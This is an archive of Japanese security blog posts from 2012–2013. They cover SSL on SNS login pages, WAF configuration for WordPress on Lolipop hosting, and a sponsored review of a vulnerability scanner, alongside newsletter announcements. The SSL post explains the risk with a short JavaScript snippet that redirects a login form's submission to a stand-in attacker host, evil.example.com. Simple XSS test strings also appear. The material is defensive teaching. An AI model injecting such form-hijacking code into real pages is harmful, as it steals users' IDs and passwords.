2012年12月30日日曜日

日本3大SNSのログイン画面について、SSL利用状況を検証する

このエントリは弊社メールマガジンの第一号(2012年4月27日発行)の記事の転載です。入力フォームをSSLにしないことの問題が話題となっていますので、読者の参考のため公開するものです。
この件に関連して、私はtwitterで以下のようにつぶやきました。
こう説明すれば良い。『通信内容は、正常時には暗号化されますが、攻撃により暗号化が回避される可能性があります。攻撃を受けていないときは暗号化され、個人情報はもれないので、ご安心ください』
 https://twitter.com/ockeghem/status/285230605359276032
当然ながら、攻撃を受けていない状況では暗号化は必要ないわけで、上記の「ご安心ください」は無意味です。入力フォームをSSLにしないというのは、つまりそういうことです。


twitterを見ておりましたら、gree.jpのIDとパスワード入力画面がSSLでないという話題を見かけました。確認してみると、確かに入力画面ははSSLでなく、送信先ページはSSLで、ログイン後は非SSL(HTTP)のページに戻ります。

既に、高木浩光氏の日記『SSLを入力画面から使用しないのはそろそろ「脆弱性」と判断してしまってよいころかも』などに説明されているように、SSLを使う場合、入力画面からそうするべきという原則は既に浸透してもよさそうなものですが、必ずしもそうではないのが現状です。このため、gree以外も調べてみることにしました。greeの同業者、mixi、モバゲーをあわせて3大SNSの調査です。

【結果】PC版
  • gree: 入力画面は非SSL 送信先はSSL(ただし、標準を選択すると、共に非SSLに)
  • mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)
  • モバゲー(Yahoo!mobage): 入力、送信先共にSSL

ついでに、スマートフォン版Webについても調べました。

【結果】スマートフォン版
  • gree: 入力画面は非SSL 送信先はSSL
  • mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)
  • モバゲー: 入力、送信先共にSSL
4月末に調べた際は、greeのスマートフォン版サイトは共に非SSLだったのですが、先程調べたら送信先はSSLになっていました。

送信先のみSSLはgreeだけ

上記のように、入力画面が非SSLで、送信先がSSLという組み合わせはgreeのみでした。この組み合わせは良くないといわれています。その理由は2つあります。

まず、入力画面が非SSLであると、なりすまし画面を見分けることが難しくなります。DNSキャッシュポイズニングやARPスプーフィング攻撃により、利用者が正しいドメイン名を指定しても、ブラウザに表示される画面が偽物ということはあり得ます。実際、2008年にさくらインターネットのホスティングサーバーにてARPスプーフィング攻撃による不正コード挿入の問題が発生しています。

参考:さくらインターネットの一部ホスティングサーバーに不正コード挿入の被害

このような場合でも、SSLを使っているページでは、攻撃を防止することが出来ます。

(1)中間者攻撃の場合はブラウザが証明書エラーを表示するので利用者が気づく
(2)中間者攻撃でない場合は改ざん・盗聴ができないので被害に至らない

入力画面からSSLにすべきという2番目の理由は、そうしないとSSLの効果が大きく損なわれるからです。
入力画面に重要情報がなく、盗聴によるリスクがあまりない場合でも、入力画面を改ざんされるリスクはあります。この場合、たとえばform要素のaction属性(送信先)を書き換えるという攻撃があり得ます。例えば、ログイン画面のform要素が以下の場合、

<form name="login" action="https://example.jp/logindo.php" method="post">

action属性を http://evil.example.com/ (攻撃者のサイト)と変更することで、重要なIDとパスワードを盗むことが出来ます。利用者がこれを確認することは非常に困難です。例えば攻撃者は、action属性を変更をぎりぎりまで遅らせることが出来ます。以下のJavaScriptは、ログインボタン押下時にaction属性を変更する例です。
  document.login.onsubmit = function() { 
    document.login.action="http://evil.example.com/";
  }
このスクリプトをHTMLのどこかにしのばせることにより、利用者が送信先変更に気づくことを防ぐことが出来ます。利用者が、このような「仕掛け」に気づくことは困難です。

このように、せっかくSSLを使うのであれば、入力画面からSSLにしないと意味がありません。脆弱性診断の際にこの種の問題が見つかった場合、多くの診断業者は脆弱性判定するでしょう。危険度は低~中というところでしょうか(ベンダーにより差異があります)。

SSLをまったく使わないのはどうか

一方、SSLをまったく使わない場合、「好ましくはないが脆弱性とまでは言えない」という判定になります。これは、とまどう人が多いことでしょう。「送信先がSSLであれば盗聴されることはないのに脆弱性と判定され、まったくSSLを使わない場合より『悪い』とはどういうことだろうか」という疑問が生じます(実際には盗聴のリスクはありますが素朴な疑問としてこう書いています)。

この疑問に対しては、以下のように回答することができます。SSLを使わないサイトは、盗聴のリスクを受容していると解釈できます。この場合、SSLを使わないこと自体は脆弱性とは言えません。一方、SSLを使っているサイトは、盗聴のリスクが受容できないと判断しているはずです。この場合、SSLの使い方が不完全なために盗聴等のリスクが生じる場合は、脆弱性と判断することになります。

SSL使用が要求あるいは強く推奨されるケース

上記は一般論ですが、サイトの特性によってはSSLの使用が要求される、あるいは強く推奨されます。下記のケースでは、SSLを使っていないとポリシー違反(脆弱性)となります。
  • PCI DSSなど通信の暗号化を要求するスタンダードに準拠する場合
  • サイトを運営する企業・団体のセキュリティポリシーでSSLの使用を要求している場合
  • プライバシーポリシーでSSLの使用を明示あるいは暗号化通信などを約束している場合
以下に、PCI DSSの4.1項を引用します。SSLなどネットワークの暗号化が要求されています。
4.1 オープンな公共ネットワーク経由で機密性の高いカード会員データを伝送する場合、強力な暗号化とセキュリティプロトコル(SSL/TLS、IPSEC、SSHなど)を使用して保護する。
前記「3大SNS」のプライバシーポリシーを確認したところ、SSLないし暗号化という言葉は使っていないようです。このため、「SSLでないからと言って脆弱性とまではいえない」と考えられます。

また、スマートフォン向けのWebサイトでは、公衆無線LANを使うケースが多く信頼できない無線LANアクセスポイントにつないでしまうリスクも現実的であることから、通常のサイトよりも、SSLの使用を積極的に判断した方がよいでしょう。

また、SNSの利用局面を考えると、近年はWi-Fiでの利用が増えていることから、SSLの利用範囲を広げることが望ましいと考えます。

ロリポップ上のWordPressをWAFで防御する方法

(2013/08/29)追記
ロリポップ上のWordPressが不正アクセスされる事例が増えているようです(参考)。現時点で侵入経路等は明らかでありませんが、以下に説明する方法で、公開ページに対するSQLインジェクション攻撃や、管理コンソールに対する不正ログインに対しては、かなり効果があると考えられます。ユーザーの参考になれば幸いです。また、タイトルを変更しました。
追記終わり

今年の9月27日から、ロリポップのレンタルサーバーの全プランで、WAF(SiteGuard Lite)が標準装備されるようになりました。
http://lolipop.jp/waf/より引用

これは大変良いことですね。インターネット上のすべてのサイトが攻撃の対象ですし、被害も増えている印象があります。ロリポップについても、今年の5月に攻撃を受けたという報告がいくつかあります。たとえば、これ。
今年5月に発表されたCGI版PHPのリモートスクリプト実行の脆弱性(CVE-2012-1823)が狙われたのではないか推測されています。
既に当該脆弱性はロリポップ側で対処が終わっていますが、今後新たな脆弱性が発見されたり、アプリケーションのSQLインジェクション脆弱性などが狙われる可能性もあるので、WAFによる防御は有効です。

レンタルサーバーを利用するサイトは予算が十分でないことが多く、セキュリティにお金がかけられない場合が多いでしょう。共通設備のセキュリティはレンタルサーバー事業者が責任を持って対処すべきですが、CGIプログラムやPHPスクリプトなどはレンタルサーバー利用者の責任で脆弱性対処すべきところ、なかなかそこまで手が回らないというのが実態ではないでしょうか。ということで、良かったなぁと思っていたところ、以下のような話をよく目にするようになりました。

ロリポップ!でWordPressを導入すると403エラーになるので、その場合はWAFを停止するといいよ

ざっとググっても以下のように幾つも出てきます。
なんということでしょう。せっかくのWAFがこういう理由で止めらてしまうなんて、もったいない。そのうちロリポップ!を契約したらまずWAFを停止すべしなんてバッドノウハウが広まってしまうかもしれませんし、既にそうなっているかもしれません。

ということで、ロリポップ!とも、運営会社の株式会社paperboy&co.さんともなんの関係もないのですが、SiteGuard職人としてこの事態を放置することができず、WAFを有効にしたままWordPressを運営する方法を考えましたので紹介します。

基本的な考え方

一般的に、WAFが「正常なリクエスト」まで拒否してしまう現象を誤検知、過剰検知、False Positive、偽陽性といいます。誤検知があると、正常な運用ができなくなるので困ります。この場合、通常はWAFのチューニングで、誤検知がない状態にします。簡単なチューニングとしては、誤検知を起こしているルール(シグネチャ)を無効にするなどで、誤検知がないようにします。
しかし、ロリポップ!のWAF設定は、ドメイン単位で有効・無効の設定しかありません。このため、「サイト全体でWAFを無効にする」しかないと思うのも無理はありません。
しかし、以下のようにすれば、WAFを最大限に有効活用できると考えました。
  • ドメインを閲覧用と管理用で分ける
  • 閲覧用のドメインはWAFで防御する
  • 管理用のドメインはWAFは無効にして、BASIC認証で防御する
ロリポップ!のプランのうち、WordPressが利用できるのはロリポプラン以上ですが、この場合共有SSLを使うことができます。このため、以下のようにすればよいと考えました。
  • 閲覧用のドメインはHTTPとして、独自ドメインかロリポップ!の用意したサブドメインで運用する。このドメインはWAFで防御する
  • 管理用のドメインは共有SSLとして、BASIC認証で保護し、WAFの設定は外す
いい感じですね。管理画面をSSLで運用すると、スタバでコーヒーを飲みながらWi-FiサービスでWordPressのメンテンスをするなんて際も安心です。WAFの件がなくても、そうしたほうがいいですね。
以下、具体的な設定方法を説明します。

検証用サイトの前提説明

検証用にロリポップ!のお試しをお借りして、コンテンツはなんでも良かったのですが、「千葉県浦安市が東京都浦安区になった」という想定の偽サイトをでっちあげてみました。


このサイトのドメイン名は下記となります。
  • 閲覧用:http://www.urayasu.tokyo.jp/
  • 管理用:https://oops-ock.ssl-lolipop.jp/

WordPressの管理画面をSSL対応にする

WordPressの管理画面をSSL対応するには、「WordPress HTTPS」というプラグインが便利です。導入するには、WordPressの管理画面(ダッシュボード)から、プラグイン|新規追加というメニューを選択し、httpsというキーワードで検索するとすぐ出てきます。「いますぐインストール」というリンクをクリックしてインストールしましょう。


プラグインのインストールが完了すると以下の画面になります。「プラグインを有効化」をクリックします。


その後、プラグインの一覧からWordPress HTTPSのSettingsをクリックすると以下の画面が表示されます。


上記のように、SSL HostにURL(HTTPSのホスト)を入力し、「Force SSL Administration」と「Force SSL Exclusively」にチェクを入れ、「Save Changes」をクリックします。これで、WordPressの管理画面がHTTPSでアクセスするようになります。

BASIC認証を設定する

次に、BASIC認証を設定します。まず、FTP画面(Webツールロリポップ!FTP)で .htaccess というファイルがあるかどうかを確認して、ある場合は内容をコピーしておきます。
次に、Webツール|アクセス制御メニューをクリックして以下の画面から、新規作成ボタンをクリックします。


以下の画面が表示されるので、認証フォームタイトルを適当に入力(下記例ではPlease Login)して、ユーザ1にアカウント名とパスワードを入力します。WordPressに設定したパスワードとは別のパスワードを設定するとよいでしょう。


入力を確認して、「作成」ボタン(画面下部)をクリックします。

以上でBASIC認証の設定は終わりですが、ここから .htaccess をカスタマイズします。FTPツールで、.htaccessを開くと、以下の様な内容が入っているはずです。1行目のパス名は少し違うはずです。

AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user

ここに、追記して以下のようにします(青字が追記部分)。

AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user

SetEnvIf Host "^www.urayasu.tokyo.jp$" allow_host
SetEnvIf Host "^urayasu.tokyo.jp$" allow_host
order deny,allow
deny from all
allow from env=allow_host

satisfy any

「SetEnvIF Host」のホスト名は貴サイトのものに置き換えてください。上記は、BASIC認証で通るか、ホスト名がwww.urayasu.tokyo.jpあるいはurayasu.tokyo.jpの場合にアクセスできるという設定です(SetEnvIfは複数書いても構いません)。これにより、閲覧用ドメインは認証なしで、管理用ドメインはBASIC認証ありでアクセスという設定を実現しています。

最後に、元々.htaccessに設定があった場合は、その内容は消えているはずなので、あらかじめコピーしておいた内容を上記の下にペーストして復元しておきます。最後にFTPツールの「保存する」ボタンをクリックして内容をセーブします。

WAFの設定を変更する

次に、WAFの設定を変更します。ロリポップ!のユーザ専用ページからWebツール|WAF設定を選び、以下の画面を表示します。管理用ドメイン(以下の画面ではhttps://oops-ock.ssl-lolipop.jp/)のみを「無効にする」をクリックして以下の状態にします。


以上で、BASIC認証の設定とWAFの設定が終わりました。

試してみる

設定が終わりましたので、利用者として該当ページを閲覧してみましょう…以下のように、とくに認証を求められることもなく普通にアクセスできます。大丈夫ですね。


WAFの効き目を確かめるために、URL末尾に ?a=<script>alert(1)</script> を追加してアクセスしましょう。下記のように、403 FORBIDDENとなり、WAFが働いていることがわかります。


この403ページはロリポップ!標準のものですが、カスタマイズして変更したほうがよいでしょうね。
次に、管理画面に移りましょう。元のページに戻り、メタ情報ログインをクリックします。下記のように、BASIC認証のユーザ名とパスワードの入力画面が表示されます。


先に登録したユーザ名とパスワードを入力してOKボタンをクリックすると、ワードプレスのログイン画面になります。ログインが2回出てウザい感じですが、WordPress自体を守りたいため、これは仕方ありません。ブラウザにパスワードを記憶させても良いので、このBASIC認証はかけるべきです。そうでないと、WAFの防御が無意味になってしまいます。


WordPresにログインしてから、先ほど同様URL末尾に ?a=<script>alert(1)</script>を追加してアクセスしてみます。以下のように、403にならず、通常通り使用できます。WordPressのダッシュボードはWAFの防御が無効になっていることがわかります。


注意事項

WordPressのダッシュボードはBASIC認証で守られているので、SQLインジェクションなどの能動的攻撃を受けることはなくなります。しかし、クロスサイトスクリプティング(XSS)のような受動的攻撃は受ける可能性があります。
このため、WordPressのダッシュボード作業は、いつも使っているブラウザとは別のブラウザを用い、作業終了後すぐにブラウザも終了させることにより、受動的攻撃のリスクを最小限に留めることができます。
また、ロリポップ!に導入されているWAFはSiteGuard Liteという簡易版のWAFなので、おもにSQLインジェクションとXSSに特化した防御機能であり、WordPress固有の脆弱性に対してはシグネチャはありません。このため、定期的にダッシュボードを確認して、プラグインなどを最新の状態に更新することが重要です。

また、一般ユーザがコメントを付ける場合は、WAFの防御機能が有効なので、タグを使って入力した場合にWAFが誤検知する可能性はあります。私がWordPressのコメント欄で許可されているタグをひと通り試した範囲では検知はされませんでした。

まとめ

ロリポップ!のWordPressとWAFが干渉して誤検知が発生するという問題に対して、WordPressの管理画面(ダッシュボード)のみWAFを無効化して、一般利用者の閲覧する画面についてはWAFによる防御を有効化する方法を説明しました。
貴サイトの安全性強化の参考になれば幸いです。

PR

HASHコンサルティング株式会社では、WAFの選定、導入、運用のサービスを提供しております。WAFの誤検知に対しても、防御機能を最大限活かした状態でのチューニングが可能です。詳しくは弊社ホームページをご参照ください。

2012年10月10日水曜日

[PR]日本ベリサインの「脆弱性アセスメント」機能を使ってみた

重要事項説明

本稿は、HASHコンサルティング株式会社が、日本ベリサイン株式会社から依頼を受けて「脆弱性アセスメント」を評価し、その結果を執筆した記事広告です。

はじめに

日本ベリサインの提供する「EV SSL証明書」または「グローバル・サーバID」を購入すると、「脆弱性アセスメント」の機能(以下、脆弱性アセスメント)が無償で提供される。この脆弱性アセスメントを実際に使ってみたので報告する。

脆弱性アセスメントとは何か

脆弱性アセスメントはインターネット上のWebサイトから、登録対象サイトを指定して行う。いったん登録すると、自動的に週1回脆弱性診断を実施してレポートが作成される。その流れを下図に示す。


① ベリサインのサイトから診断を起動
② 対象サイトに診断を実施
③ 診断終了のメール通知
④ ウェブサイト管理者は管理者サイトにて診断レポートを受け取る

使ってみる

診断の設定は、管理者サイトから行う。サービスアグリーメントに同意して、「Activate Scanning Service」ボタンをクリックする。すると24時間以内(実際には数時間以内)に脆弱性スキャンが始まる。今回の試用では、オープンソースのアプリケーション(phpMyAdmin、MovableTypeなど)を導入して現実に近い環境で診断したが、診断は開始後1時間程度で終了していた。



 診断が終了するとメール通知が来るので、ベリサインのWebサイトから「Download vulnerability report」というリンクをクリックしてレポートをダウンロードする。


なお、上図の下部に「Request On-Demand Scan」というボタンがあるが、これは、重大な脆弱性を発見した場合に表示され、これをクリックすると、定期的な診断を待たずに診断を開始する。レポートの脆弱性を対策した後に、再診断する際にこのボタンを用いるとよい。

結果

ここでアセスメントの結果レポートを見てみよう。 利用者がまず確認するのは、診断結果サマリだ(下図)。



 ご覧のように、脆弱性は危険度に応じてCritical(高危険度)とInformational(情報)に分類されている。脆弱性診断ツールの中には、危険度が5段階程度に細かく表示されるものも多いが、利用者に必要な情報は「対策が必要か否か」という判断なので、この二段階表示は分かりやすいと感じた。ただし、Informationalの中にも対処した方がよいものが含まれる場合があるので、最初に検出された時に内容を確認した方がよいだろう。
 縦の分類は、Web、アプリケーション、データベースなど脆弱性の発生箇所の分類だが、ここでは具体的な説明は割愛する。

 ここで、Criticalの脆弱性の一覧を見よう。下図のように、9種類の脆弱性が報告されている。表右端の「Vulnerability Details」の欄はリンクになっていて、 各脆弱性の詳細説明にジャンプすることができる。



 紙面の関係で、いくつかの脆弱性をかいつまんで紹介する。
 まず、VA-001の詳細の冒頭は下表のようになっている。「Cross Site Scripting」とあるように、クロスサイトスクリプティング(XSS)脆弱性であることが分かる。


 表の意味は、脆弱性のIDがVA-001、脆弱性の発生した場所がアプリケーションであること、脅威の内容が認証情報の盗難(セッションハイジャック)、脆弱性の発生要因が安全でないプログラミングにあることを示している。
 表をさらに見ると、Technical Detailsとして脆弱性の発生箇所が示される。具体例を以下に示す。
Vulnerable URL: http://www.dwd.jp/login.php?url=/itemlist.php<Script>alert
("HelloSIG")</Script>
HTTP request method: GET
Response Snippet: <Script >alert("HelloSIG")</Script>
上記から、脆弱性のあるスクリプトが/itemlist.phpであり、パラメータがクエリ文字列urlであることがわかる。この情報は、開発者が脆弱性を再現し、対策する上で役に立つ。対策方法はこのレポートにも簡単に説明しているが、IPAの「安全なウェブサイトの作り方」などを参考にするとよいだろう。
 試験環境ではトップページから5階層たどった場所にもXSS脆弱性があったが、正しく指摘されていた。ある程度深いところまでクロールを行っていることが伺えるが、検査の網羅性については保証されていないので、診断がもれる可能性はある。
 同様に、このレポートではSQLインジェクションも報告されている(VA-002)が詳細は割愛する。
 次に、VA-006を紹介する。詳細レポートの冒頭は以下の通りである。



 この脆弱性は、MySQLのデータベースを管理するツールの中でも特に使いやすいことで人気の高いphpMyAdminの脆弱性である。この表を下にたどってVulnerability Details欄を見ると、リモートからコードが実行可能であるという簡単な説明があるが、さらにVA-006のリファレンス情報を参照すると、CVE-2011-2505~CVE-2011-2508が該当することがわかる。このCVE番号を元に、JVN iPedia(IPAが運営している脆弱性データベース)を検索することで、脆弱性の詳しい内容を日本語で読むことができる。

 次に、「Appendix A - Environment Information」からポートスキャンの結果を紹介する。ポートスキャンとは、診断対象サーバーに実際にネットワークアクセスして、活動中のポート番号とサービスの種類、ソフトウェアの種類とバージョン等を確認したものである。



 ポートスキャンの内容はサーバーの役割毎に異なるので、正常・異常の区別はなく、あるがままの内容が表示される。レポートの読者は、本来のサーバーの役割から必要最小限のポート番号を基準として、レポートの表示内容が基準と相違ないかを確認すると良い。とくに、気をつけたいのが「本来公開する必要のない」はずのポートである。Webサーバーの場合、HTTPの80とHTTPSの443は必要だが、これら以外のポートが開いていると、不要なポート・サービスである可能性がある。
 この例では、MySQL (3306ポート)とPostgreSQL (5432ポート)は通常公開する必要のないポートである。また、FTP(21ポート)とtelnet(23ポート)はセキュリティ上の問題が生じやすいので、22ポートで動作するsshとscpで代替するべきである。このように、ポートスキャンの結果を精査することで、セキュリティ上の問題点を把握し、改善につなげることができる。

評価・まとめ


 日本ベリサインの脆弱性アセスメントを試用した。当アセスメント機能は、定期的に(毎週)、対象サイトに影響(負荷やごみを残すようなマイナスの影響)を与えずに診断をすることが特徴である反面、診断の精度についてはツール診断であるための限界があるようである。具体的には、脆弱性ではないものを脆弱性と判定する「誤検知」や、脆弱性が実際にはあるのに検出しない「検知漏れ」の可能性がある。これらは、未知のサイトに対して外部から診断するツールの特性上、原理的にゼロにはできない。
 しかし、毎週という高い頻度で定期的に診断することのメリットは大きい。なぜなら、脆弱性管理の以下の課題に対応するためには、定期的な診断が有効であるからだ。

  • 脆弱性情報は日々更新されているので、サイトを脆弱性のない状態にしていても、ある日突然脆弱性のある状態に変わる
  • 設定・更新作業などで、誤って脆弱な設定(不要なポートを公開してしまう等)になる可能性は常にある

 このため、日本ベリサインの証明書を購入すれば利用できる「脆弱性アセスメント」機能を有効活用すれば、追加コストを掛けずに脆弱性管理の有力なツールが得られると言えるだろう。

2012年6月26日火曜日

インフィニテック社のセミナーで基調講演します

7月5日株式会社インフィニテックの「第4回 セキュリティ&コンプライアンスセミナー 2012」で基調講演致します。

日時:2012年7月5日(木曜日) 14時00分~17時00分(徳丸の出番は14:10~15:10)
場所:KDDIホール(東京都千代田区)
費用:無料(申し込みはこちら
講演タイトル:日本のWebセキュリティの過去、現在、そして将来

すごく汎用性の高いタイトルにしてしまいましたが、アジェンダは以下のように考えています。

(1)日本のWebセキュリティの事情
  • インターネットはグローバルなものだが日本固有の事情はあるか?
  • 文字コードの問題
  • ケーススタディ:“ガラパゴス”ケータイのセキュリティ
(2)日本のWebの守りはどうか
  • Webアプリケーション脆弱性の彼我の違い
  • WAFに関する失望と期待
(3)日本のWebセキュリティの現状と将来
  • 現状と将来に対する私見
  • クラウド、スマートフォン、HTML5はどうか
  • OWASP Japanの紹介
  • まとめ
セミナー全体のテーマが「今だからこそ日本発セキュリティソリューション“頑張ろう!メイドインジャパン”」ですので、日本のWebセキュリティどーよということで内容を考えました。
日本固有の話題としては、やや旧聞になりつつあり、しかしまだ現実の課題であるケータイWebのセキュリティも取り上げようと思います。
すみません、OWASP Japanで「多分最後になる」と書いてしまいましたが、もったいないのでもう一回します。DNS Rebindingやら、KDDIの新ゲートウェイの問題点(解決済み)も実演ビデオを流そうと思います(これらはOWASPでもやります)。

2012年6月18日月曜日

HASHコンサルティングメールマガジン第3号を配信しました

HASHコンサルティングメールマガジン第3号を配信しました
  • 徳丸の動静
  • 最近のブログ記事から
  • 解説コラム:キャッシュ制御不備は脆弱性なのか
  • 解説コラム:パスワード保護再考
  • 自伝:第3回:XSS Niteに参加したい
  • 宣伝:月10万円からの顧問契約
お申し込みは、こちらから。申し込み頂くと配信済みのバックナンバーのURLとパスワードが送信され、お読み頂けます。

2012年5月17日木曜日

HASHコンサルティングメールマガジン第2号を配信しました

HASHコンサルティングメールマガジン第2号を配信しました
  • 最近のブログ記事から
  • 解説コラム:セキュリティ情報の集め方
  • 解説コラム:ドリランド複製祭りはこうして起こった…かも
  • PHP入門書の脆弱性:ログインIDの重複チェックの問題他
  • 自伝:第2回:はてな村との遭遇
  • 宣伝:徳丸本講習ありマス
お申し込みは、こちらから。申し込み頂くと配信済みのバックナンバーのURLとパスワードが送信され、お読み頂けます。

2012年4月27日金曜日

HASHコンサルティングメールマガジン創刊号を配信しました

HASHコンサルティングメールマガジン創刊号を配信しました
  • 解説コラム「日本3大SNSのログイン画面について、SSL利用状況を検証する」
  • JavaScript入門書の脆弱性
  • 自伝:第1回 ブログが全ての始まりだった
  • 記事広告:徳丸に仕事を依頼するには

お申し込みは、こちらから。申し込み頂くと配信済みのバックナンバーのURLとパスワードが送信され、お読み頂けます。

2012年4月24日火曜日

HASHコンサルティング株式会社のメールマガジンを創刊します

HASHコンサルティング株式会社では、このたび無償メールマガジン(以降、メルマガと表記)を創刊することに致しました。セキュリティや弊社代表徳丸浩に関する記事を、ほぼ毎月(努力目標)お届けいたします。
第1回の発行(送信)は四月末頃を予定しています。
購読希望の方は、下記から申し込みをお願いいたします。

メールマガジン申し込みページ


■発行内容
予定しているコンテンツは下記となります。毎号すべてのジャンルが含まれる訳ではありません。コンテンツの内容は予告なく変更する場合があります。

◎徳丸の動静
徳丸の講演予定などをお知らせします。この情報は他のメディア(ブログやtwitter)でも発信します。

◎セキュリティ解説コラム
徳丸浩の日記に書いているような解説記事です。


◎脆弱性情報の解説
Japan Vulnerability Notes(JVN)等に公表された脆弱性から、徳丸の気になったものを紹介します。選択の基準は、あくまで徳丸の興味ですのであらかじめご了承ください。


◎書籍の脆弱性
徳丸の日記の中でも書籍の脆弱性ネタは人気があり、多くの読者に読んでいいただいております。書籍に間違ったセキュリティ解説があると悪影響が大きいため、それを正すことは社会的な意義があると考えています。
しかしながら、公の場での脆弱性指摘は、トラブルの原因になる場合もあり、提供側としても慎重な対応が求められます。このため、実際には書籍に問題を見つけたらいつもブログに書いているわけではなく、時事のテーマに沿ったもののみ取り上げているのが現状です。
メルマガでも上記原則は変わりませんが、メディアの特性上、書籍の脆弱性ネタは扱いやすいと考えています。やってみないと分からない面もあるので、当面、毎号で「書籍の脆弱性」ネタを書いてみようと考えています。


◎自叙伝的コラム
この種のメルマガでは、自叙伝を主要コンテンツとしている場合が多いようです。徳丸も書いてみようと思っています。自叙伝はブログ等で公開の予定はなく、当メルマガでのみお読みいただけます。
とはいえ、ちょっと恥ずかしい気もするのと、テンションを上げないと書けない気がするので、第1回から始められるかどうかは未確定です。書き方としては順不同で時期を選んで書こうと思います。まずは、独立前のエピソードから始めるつもりです。


◎その他
http://tumblr.tokumaru.org/に書いていたような小ネタの一部をメルマガで配信する予定です。
その他、メルマガの特性を徳丸が理解するにつれて、新しいアイデアが出てくると思いますのでご期待ください。また、希望のコンテンツがあれば、twitterなどで徳丸にメンションいただければ、都度検討いたします(常にご希望に添えるわけではありません)。


◎記事広告(サービスの紹介など)
HASHコンサルティング株式会社のサービス紹介です。純然たる広告の場合もあれば、事例の紹介や、サービス開発に込めた思いなども書くかも知れません。広告とは言え、読んで面白いものになるように努力します。

企業のメルマガなので本来これがメインのはずですが、広告がお嫌いな方のために、記事広告はオプションといたしました。申込時に「記事広告購読」というチェックボックス(初期状態はON)を外していただいた方には、記事広告なしの版を提供いたします。



■申し込み方法
申し込みページから必要事項を記入してお申し込みください。入力いただいたメールアドレスに確認メールが送信されますので、メール記載の確認番号をWebフォームに入力いただいて申し込み完了です。後は第1回配信までお待ちください。


■想定Q&A集

Q:記事は誰が書きますか?
A:記事は弊社代表徳丸浩が書きます

HASHコンサルティング株式会社は徳丸が一人でやっておりますので、記事は徳丸が書きます。例外的に、どなたかの寄稿記事を載せる可能性はあり得ますが、その場合は著者名を明記いたします。


Q:要は貴社の広告ですか?
A:その通りです

メールマガジンはHASHコンサルティング株式会社の営業活動の一環です。読者の皆様に有益な情報をお届けする代わりに、弊社の広告を配信させていただくものです。


Q:記事広告を選択制にして読む人いるの?
A:分かりません

これは正直分かりません。読者の方に有益なサービスや情報をお届けすることにより、結果として記事広告読者が増えればと考えます。


Q:個人情報収集が目的ですか?
A:違います

当メルマガの目的は宣伝ですので、個人情報取得は配信に最低限のものといたします。具体的には、住所や電話番号は入力欄がありません。その結果として、入力いただいた連絡先に、弊社から電話したりや手紙を送付することもありません。
ビジネス目的で弊社と連絡が取りたい場合には、問い合わせページがご利用いただけます。


Q:ブログはやめてしまうのですか
A:ブログも続けます

ブログとメルマガは特性の異なるメディアですし、ブログによる情報発信を徳丸は好んでいますので、ブログは今後も続けます。
特に、緊急性の高い情報については、ブログにより広く・早く告知することが重要と考えます。また、いったんメルマガのみに配信した情報であっても、後に体裁を変更してブログに公開する可能性はあります。


Q:バックナンバーの購読はできますか
A:現在検討中です

メルマガのバックナンバーの取り扱いは現在検討中です。


Q:学生(あるいは求職中、無職等)ですがメルマガを購読できますか
A:できます

学生・生徒・児童の場合は、企業名の代わりに所属の学校名か、単に「学生」、「なし」などと記入ください。記事広告を見ない場合は、企業名欄は空欄でも構いません。
記事広告をご購読いただいて結構ですが、その場合は上記を参考に企業名欄に記入してください。


Q:全員に同一のコンテンツが配信されますか?
A:記事広告については差異が生じる可能性があります

お申し込みの際に、記事広告を希望しない方には、記事広告は配信されません。
それ以外に、弊社が競合と考える企業の方には、記事内容によっては記事広告の取捨をする可能性があります。ただし、そのようなケースはあまりないと予想しています。
記事広告以外の記事については、全員に同一の記事を配信いたします。


Q:利用規約はありますか?
A:個人情報保護方針を参照ください

個人情報の取り扱いについては、個人情報保護方針を参照ください。
個人情報保護方針以外の規約は現在ありませんが、虚偽の情報による申し込みや、弊社コンテンツの不正利用等があった場合は、メルマガの購読を解除させていただく場合があります。


Q:申し込みフォームはJavaScriptやCookieは必須ですか?
A:JavaScriptやCookieを無効にした状態でも申し込みは可能です

JavaScriptやCookieを無効にした状態でもメルマガの申し込みは可能です。ただし、アクセス解析を目的として、Google Analyticsが発行する第一者Cookieを利用しています。詳しくは個人情報保護方針を参照ください。


Q:有償化の予定はありますか?
A:今のところありません

少なくとも当面の間は無料で配信する予定です。

2012年4月21日土曜日

PHPカンファレンス北海道講演資料

PHPカンファレンス北海道講演資料

日付2012年04月21日(土曜日)
時間15時30分~16時10分
場所札幌市産業振興センター
演題徳丸本に載っていないWebアプリケーションセキュリティ


講演ビデオ

徳丸本に載っていないWebアプリケーションセキュリティ / PHPカンファレンス北海道2012 from suzuki on Vimeo.
※リンク、ブックマーク等は、PDF直接ではなく、このページにお願いします。

2012年3月27日火曜日

OWASP JAPAN 1st Local Chapter Meeting講演資料

OWASP JAPAN 1st Local Chapter Meeting講演資料

日付2012年03月27日(金曜日)
時間19時00分~20時30分
場所日本橋公会堂
演題ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~


※リンク、ブックマーク等は、PDF直接ではなく、このページにお願いします。

2012年1月30日月曜日

ホスト型の廉価版WAFであるSiteGuard Liteを評価した

このエントリでは、株式会社ジェイピー・セキュア(以下、JP-Secureと表記)のホスト型WAFであるSiteGuard Liteβ版の評価結果を報告します。SiteGuard Liteは、ModSecurityのようにApacheにモジュールとして組み込むタイプのWAFです。

はじめに

JP-Secure社が本年2月に、廉価なホスト型WAFとしてSiteGuard Liteを販売開始すると発表しています。このβ版を入手して評価しましたので、その内容を報告します。
商用製品の紹介ですので、以下に「重要情報の告知」を示します。
  • HASHコンサルティング株式会社および徳丸浩(以下、単に徳丸浩と記述)は、SiteGuard Liteβ版の評価プログラムに申し込み、β版を無償で提供されている
  • 徳丸浩はβ版提供以外に金品その他の提供を受けていない
  • 本稿執筆時点でJP-Secure社とアフィリエイト契約はなく、その予定もない
  • 評価結果をブログに書くことはJP-Secure社の了解を受けており、執筆内容の制約は受けていない
ただし、徳丸浩はセキュリティを商売にしておりますので、製品を評価した結果がよいものであれば、その製品を販売したいと思っています。そのため、評価記事が宣伝の要素を持つことはあり得ます。できるだけ客観的な評価を心がけますが、上記前提をご了承いただいた上で読者の判断により続きをお読みいただくか、読むのをやめていただければと思います。

SiteGuard Liteとは

